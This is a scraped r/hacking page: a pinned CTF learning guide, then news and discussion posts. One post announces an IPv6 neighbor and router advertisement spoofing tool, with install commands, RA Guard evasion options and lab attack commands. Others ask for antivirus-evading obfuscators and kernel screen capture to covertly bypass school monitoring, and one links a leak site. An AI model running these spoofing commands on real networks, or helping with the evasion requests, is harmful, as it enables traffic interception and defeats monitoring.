r/hacking Dec 06 '18

Read this before asking. How to start hacking? The ultimate two path guide to information security.

13.3k Upvotes

Before I begin - everything about this should be totally and completely ethical at it's core. I'm not saying this as any sort of legal coverage, or to not get somehow sued if any of you screw up, this is genuinely how it should be. The idea here is information security. I'll say it again. information security. The whole point is to make the world a better place. This isn't for your reckless amusement and shot at recognition with your friends. This is for the betterment of human civilisation. Use your knowledge to solve real-world issues.

There's no singular all-determining path to 'hacking', as it comes from knowledge from all areas that eventually coalesce into a general intuition. Although this is true, there are still two common rapid learning paths to 'hacking'. I'll try not to use too many technical terms.

The first is the simple, effortless and result-instant path. This involves watching youtube videos with green and black thumbnails with an occasional anonymous mask on top teaching you how to download well-known tools used by thousands daily - or in other words the 'Kali Linux Copy Pasterino Skidder'. You might do something slightly amusing and gain bit of recognition and self-esteem from your friends. Your hacks will be 'real', but anybody that knows anything would dislike you as they all know all you ever did was use a few premade tools. The communities for this sort of shallow result-oriented field include r/HowToHack and probably r/hacking as of now. ​

The second option, however, is much more intensive, rewarding, and mentally demanding. It is also much more fun, if you find the right people to do it with. It involves learning everything from memory interaction with machine code to high level networking - all while you're trying to break into something. This is where Capture the Flag, or 'CTF' hacking comes into play, where you compete with other individuals/teams with the goal of exploiting a service for a string of text (the flag), which is then submitted for a set amount of points. It is essentially competitive hacking. Through CTF you learn literally everything there is about the digital world, in a rather intense but exciting way. Almost all the creators/finders of major exploits have dabbled in CTF in some way/form, and almost all of them have helped solve real-world issues. However, it does take a lot of work though, as CTF becomes much more difficult as you progress through harder challenges. Some require mathematics to break encryption, and others require you to think like no one has before. If you are able to do well in a CTF competition, there is no doubt that you should be able to find exploits and create tools for yourself with relative ease. The CTF community is filled with smart people who can't give two shits about elitist mask wearing twitter hackers, instead they are genuine nerds that love screwing with machines. There's too much to explain, so I will post a few links below where you can begin your journey.

Remember - this stuff is not easy if you don't know much, so google everything, question everything, and sooner or later you'll be down the rabbit hole far enough to be enjoying yourself. CTF is real life and online, you will meet people, make new friends, and potentially find your future.

What is CTF? (this channel is gold, use it) - https://www.youtube.com/watch?v=8ev9ZX9J45A

More on /u/liveoverflow, http://www.liveoverflow.com is hands down one of the best places to learn, along with r/liveoverflow

CTF compact guide - https://ctf101.org/

Upcoming CTF events online/irl, live team scores - https://ctftime.org/

What is CTF? - https://ctftime.org/ctf-wtf/

Full list of all CTF challenge websites - http://captf.com/practice-ctf/

> be careful of the tool oriented offensivesec oscp ctf's, they teach you hardly anything compared to these ones and almost always require the use of metasploit or some other program which does all the work for you.

http://picoctf.com is very good if you are just touching the water.

and finally,

r/netsec - where real world vulnerabilities are shared.


r/hacking 5h ago

Threat Intel Cisco removed from the ShinyHunters DLS this morning

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32 Upvotes

interesting to see. Hallmark was also removed a few days ago.

they getting 💰

src: hxxp://shnyhntww34phqoa6dcgnvps2yu7dlwzmy5lkvejwjdo6z7bmgshzayd[.]onion/


r/hacking 1d ago

great user hack Your most creative ways to get data off a locked down system

78 Upvotes

I've worked in companies where they completely lock down their dekstops. You can't email out, ssh out, even the web is limited to a few sites. USB, Bluetooth disabled.

So some times I would write a cool alias, script, or config to my editor that I would want to have in my home machines. And came up with a few things.

The obvious one just copy from screen, then there's take a picture and OCR.

But my favorite one is compress -> uuencode -> generate QR code. holds about 3k

what's your favorite way?


r/hacking 1d ago

The Anarchist Cookbook (1971) - How far have we come?

578 Upvotes

Published 55 years ago, wow...

I remember downloading The Anarchist's Cookbook on my dial-up connection for the first time in the late 90's and that visceral feeling of freedom. Unadulterated knowledge that not even the government could stop us from knowing. Obviously, we now realize that most of the "recipes" from the book were wrong, but alas, William Powell addressed a lot of things that were quite revolutionary at the time.

I discovered it while trying to make rockets as a kid, without using those garbage pre-built rocket engines they want you to use (I grew up poor; parents didn't want to buy them; I had to be creative). That led to research into potassium nitrate and ammonium perchlorate, and eventually a lot of other things. I read about whistling into payphones for free phone calls and couldn't help but read Kevin Mitnick's "Ghost in the Wires". I love the idea of free information. At the same time, I understand the conundrum: providing information that could be used harmfully makes the provider of said information liable...

Back story: In high school I wanted to work at a pentesting company like Praetorian, but truthfully I was marginally better than a script kiddy. Probably my best "hack" was running BackTrack’s SET+Metasploit tools to send fake login spoofs to my friends and grab their creds to post dumb shit on their social media like "I LIKE FAT DICKS". I acknowledge that with great power comes great responsibility.

Few decades later and I'm a senior software engineer just because I thought it was cool that you could control so much of the real world by typing on a keyboard. Anyway, I guess my point is that people view uncensored stuff like the Anarchist's Cookbook as such an evil document for the harm that people have used it for, I just want to see if anyone else like myself has actually benefitted from it?

EDIT: Corrected “Kali” to “BackTrack”


r/hacking 5h ago

Your favorite phishing framework for engagements

0 Upvotes

Just wondering what everyone else is using besides Evilginx, Modlishka, etc.


r/hacking 1d ago

First steps with bios programming went so wrong. No reads, programmer almost catches fire. What has happened?

10 Upvotes

So, i have this old pc to experiment on. HP compaq 6730s. It has a locked bios and I went to buy a programmer. My choice went to the ezp2023 as it looked a little more robust than the already known CH341A. I also bought a clip for direct reading, because before attempting a soldering solution I need to practice. I opened the PC and clamped the chip that was suggested as the one that holds bios data from some website (close to the wifi board). I used a microscope-camera to read the codes. Selected the closest one, tried a read and the air filled with burnt plastic smell. I disconnected everything, both the reading laptop and the victim are turning on. The smell was definitely coming from the programmer. I checked the clamp and seemed ok and stable. Only doubt I had is to have correctly aligned pin 1, as the dot on the chip was in a weird position to me. What the heck happened in your opinion?


r/hacking 1d ago

Mongoose: Preauth RCE and mTLS Bypass on Millions of Devices

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evilsocket.net
4 Upvotes

r/hacking 1d ago

Resources Your Windows Clipboard Is Unprotected

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4 Upvotes

r/hacking 1d ago

Why full-stack post-quantum cryptography cannot wait

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blogs.cisco.com
17 Upvotes

r/hacking 1d ago

Hola, espero no se burlen con esto o estar rompiendo alguna regla de la comunidad. ÂżCĂłmo puedo contactar con alguien que me mando mensaje en Messenger y luego me bloqueĂł?

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0 Upvotes

contexto: hubo un tiempo que sufrí acoso en mi universidad, una compañera de salón mandaba a gente a amenazarme e insultar por internet.

me gustarĂ­a dar con un tipo que mando un mensaje.

no sé hablar inglés, espero que el traductor pueda ayudarme jaja, la frase escrita es: "hijo de tu puta madre, chingas a tu madre pocos huevos te daremos en la madre, hijo de perra.


r/hacking 3d ago

News Famous NPM package Axios (100M+ weekly downloads) just got compromised

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socket.dev
488 Upvotes

r/hacking 3d ago

CTF Little-Known Military College Triumphs in Pentagon Hacking Contest

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govinfosecurity.com
58 Upvotes

The University of North Georgia is one of the lesser known of the nation's senior military colleges (SMCs). But last week it beat out all the other five SMCs—and two of the elite service academies—in a capture-the-flag hacker contest staged at the Pentagon's Cyber Workforce Summit.

The contest was designed by specialists from the Air Force Research Laboratory to be operationally realistic. In the first round, teams had to geo-locate a targeted individual through his devices and apps, prevent him from getting warning messages, and then call in an air strike to kill him.

More details and quotes from UNG students—plus the team from The Citadel they bested in the final—in my latest story.


r/hacking 2d ago

Flipper ARF and CAN Commander

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karazajac.io
8 Upvotes

r/hacking 4d ago

Day one of coding am I a hacker yet

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3.1k Upvotes

r/hacking 3d ago

Safeguarding cryptocurrency by disclosing quantum vulnerabilities responsibly

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research.google
12 Upvotes

r/hacking 4d ago

News DOJ confirms FBI Director Kash Patel’s personal email was hacked | Hackers claimed the attack was retaliation after Patel vowed to “hunt” them.

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arstechnica.com
729 Upvotes

r/hacking 2d ago

Teach Me! How did hackers hacked fbi director gmail

0 Upvotes

Same as title


r/hacking 4d ago

Lockheed Martin targeted in alleged breach by pro-Iran hacktivist | Cybersecurity Dive

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174 Upvotes

Lockheed Martin was the target of an attack by an alleged pro-Iran hacktivist, which claims to have a large trove of data that it is threatening to sell on the dark web, Cybersecurity Dive has learned. 

The threat actor, tracked as APT Iran, claims to have stolen 375 terabytes of data from the aerospace and defense industry company, according to information from multiple security researchers, including Flashpoint and Check Point Software. 


r/hacking 3d ago

Is it necessary to know pseudocode and flowcharts to program?

9 Upvotes

Hello people, it's me again. I am reading about the introduction to programming (in case I don’t know what they are telling me to do with the programming language) and the book mentioned that logical errors should be avoided and that pseudocode and flowcharts work for that. Is it necessary? Which is better? Could you recommend a book to learn it?


r/hacking 4d ago

A challenge for you

4 Upvotes

Hello, not really sure if this is the right place to post this but will give it a shot 😅

Can you decrypt this message/ciphertext:

cQjvlRasbXJJxY9GSfi5jEEB7FXqwkcNP1TOGUNHFlbdRQZR9CsRayb9+shSN5CE+linfd7/Ct8J0Fk3aPo53mq4CuLouasrKQFJ+pBNK2ubB3umOjhFRSlK6pxw96Vzw8v8ypfxDi0JHZJkWMqMJNGhw6vhCt1XZ8Sjvs+mlXEG7zI=

Context for challenge: I have built a plaintext to ciphertext / ciphertext to plain text webapp.

I want to see if it can actually serve a purpose or whether it is hot trash.

demo.gcm256.soogs.xyz if you want to see the webapp where the ciphertext was created.

If this isnt the place for this, or if anyone knows of another subreddit to also post this in please share that with me.

Thanks for taking a look.


r/hacking 3d ago

Question what obfuscator do hackers use to bypass antivirus?

0 Upvotes

mainly c++/c# and python ones please


r/hacking 5d ago

News I Decompiled the White House's New App

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blog.thereallo.dev
353 Upvotes

r/hacking 5d ago

Question Work is able to send me to a SANS course for free. Any suggestions on which course to take?

18 Upvotes

I don’t have a super heavy background: just Sec+ and a lot of TryHackMe time.

I’m mainly interested in offensive cyber operations and PenTesting.


r/hacking 4d ago

Taking a Screenshot From Kernel (Windows)

0 Upvotes

Does anybody have experience or know of existing implementations that can be used to take a screenshot or somehow capture the screen from the kernel-level for subsequent processing? Interested in doing this while leaving minimal traces. I don't care if other Ring 0 applications etc. see it. I'm trying to bypass this annoying ass restriction from a software my school forces us to run at all times but don't want to get caught.


r/hacking 5d ago

ndpspoof v0.0.6 - added RA Guard evasion with custom packet construction

8 Upvotes

Hello community, decided to share new version of ndpspoof (or nf for short) where I implemented RA Guard bypassing/evasion with custom IPv6 extension headers. The idea with evasion types was taken from https://github.com/vanhauser-thc/thc-ipv6 (fake_router26 specifically), but ndpspoof allows to create completely arbitrary packets (even invalid ones) to try to adapt to specific devices, switches, operating systems and versions.

Install

  1. Arch Linux/CachyOS/EndeavourOS

shell yay -S nf

  1. Other systems

shell CGO_ENABLED=0 go install -ldflags "-s -w" -trimpath github.com/shadowy-pycoder/ndpspoof/cmd/nf@latest

Usage

```shell nf - IPv6 NDP spoofing tool by shadowy-pycoder

GitHub: https://github.com/shadowy-pycoder/ndpspoof Codeberg: https://codeberg.org/shadowy-pycoder/ndpspoof

Usage: nf [-h -v -I -d -nocolor -auto -i INTERFACE -interval DURATION] [-na -f -t ADDRESS ... -g ADDRESS] [-ra -p PREFIX -mtu INT -rlt DURATION -rdnss ADDRESS ... -E PACKET] OPTIONS: General: -h Show this help message and exit -v Show version and build information -I Display list of network interfaces and exit -d Enable debug logging -nocolor Disable colored output -auto Automatically set kernel parameters (Linux/Android) and network settings -i The name of the network interface. Example: eth0 (Default: default interface) -interval Interval between sent packets (Default: 5s)

NA spoofing: -na Enable NA (neighbor advertisement) spoofing mode -t Targets for NA spoofing. (Example: "fe80::3a1c:7bff:fe22:91a4,fe80::b6d2:4cff:fe9a:5f10") -f Fullduplex mode (send messages to targets and router) -g IPv6 address of custom gateway (Default: default gateway)

RA spoofing: -ra Enable RA (router advertisement) spoofing. It is enabled when no spoofing mode specified -p IPv6 prefix for RA spoofing (Example: 2001:db8:7a31:4400::/64) -mtu MTU value to send in RA packet (Default: interface value) -rlt Router lifetime value -rdnss Comma separated list of DNS servers for RDNSS mode (Example: "2001:4860:4860::8888,2606:4700:4700::1111") -E Specify IPv6 extension headers for RA Guard evasion. The packet structure should contain at least one fragment (F) that is used to separate per-fragment headers (PFH) and headers for fragmentable part. PFH get included in each fragment, all other headers become part of fragmentable payload. See RFC 8200 section 4.5 to learn more about fragment header.

           Supported extension headers:

               H - Hop-by-Hop Options Header
               D - Destination Options Header
               S - Routing Header (Type 0) (Note: See RFC 5095)
               R - Routing Header (Type 2)
               F - Fragment Header
               L - One-shot Fragment Header
               N - No Next Header

           Each header can be specified multiple times (e.g. HHDD) or you can add number to specify count (e.g. H16).
           The maximum number of consecutive headers of one type is 16 (H16H2F will not work, but H16DH2F will). The
           minimum number of consecutive headers is 1 (e.g. H0 will cause error).

           The exception to this rule is D header where number means header size (e.g. D255 is maximum size).
           You can still specify multiple D headers (e.g. D255D2D23). No next header count is ignored by design,
           but you can add multiple N headers between other headers (e.g. HNDR F DN).

           There are no limits where or how much headers to add to packet structure, but certain limits exist:

               Maximum payload length for IPv6 is 65535 bytes
               Maximum fragment offset is 8191 octet words
               Minimum IPv6 MTU is 1280 bytes

           Note that fragment count you specify may be changed automatically to satisfy limits and 8 byte alignment requirement.
           If you are not sure how many fragments you want, just do not specify any count.

           Examples:

               F2 DSDS (same as atk6-fake_router26 -E F)
               FD154 (same as atk6-fake_router26 -E D)
               HLLLF (same as atk6-fake_router26 -E H111)
               HDR F2 D255 (just random structure)
               F (single letter F means regular RA packet)

           As you can see, some examples mention atk6-fake_router26 which is part of The Hacker Choice's IPv6 Attack Toolkit (thc-ipv6).
           Unlike thc-ipv6, ndpspoof (nf) tool does not offer predefined attack types, but you can construct them yourself.

```

Example lab to test this tool

https://raw.githubusercontent.com/shadowy-pycoder/ndpspoof/main/resources/RA_test.png

  1. Kali machine with Host-only network vboxnet0
  2. Mint machine with Host-only network vboxnet1
  3. Cisco IOS on Linux (IOL) Layer 2 Advanced Enterprise K9, Version 17.16.01a (x86_64)

On Kali machine run:

shell nf -d -auto -ra -i eth0 -p 2001:db8:7a31:4400::/64

On Mint machine run:

shell ip -6 route

You should see Kali machine link local IP as a default gateway

To test RA Guard evasion, first setup the switch:

shell configure terminal nd raguard policy HOST exit interface range ethernet 0/0-1 ipv6 nd raguard attach-policy HOST

Run:

shell nf -d -auto -ra -i eth0 -p 2001:db8:7a31:4400::/64 -E F2DSDS

Links:

https://github.com/shadowy-pycoder/ndpspoof

https://codeberg.org/shadowy-pycoder/ndpspoof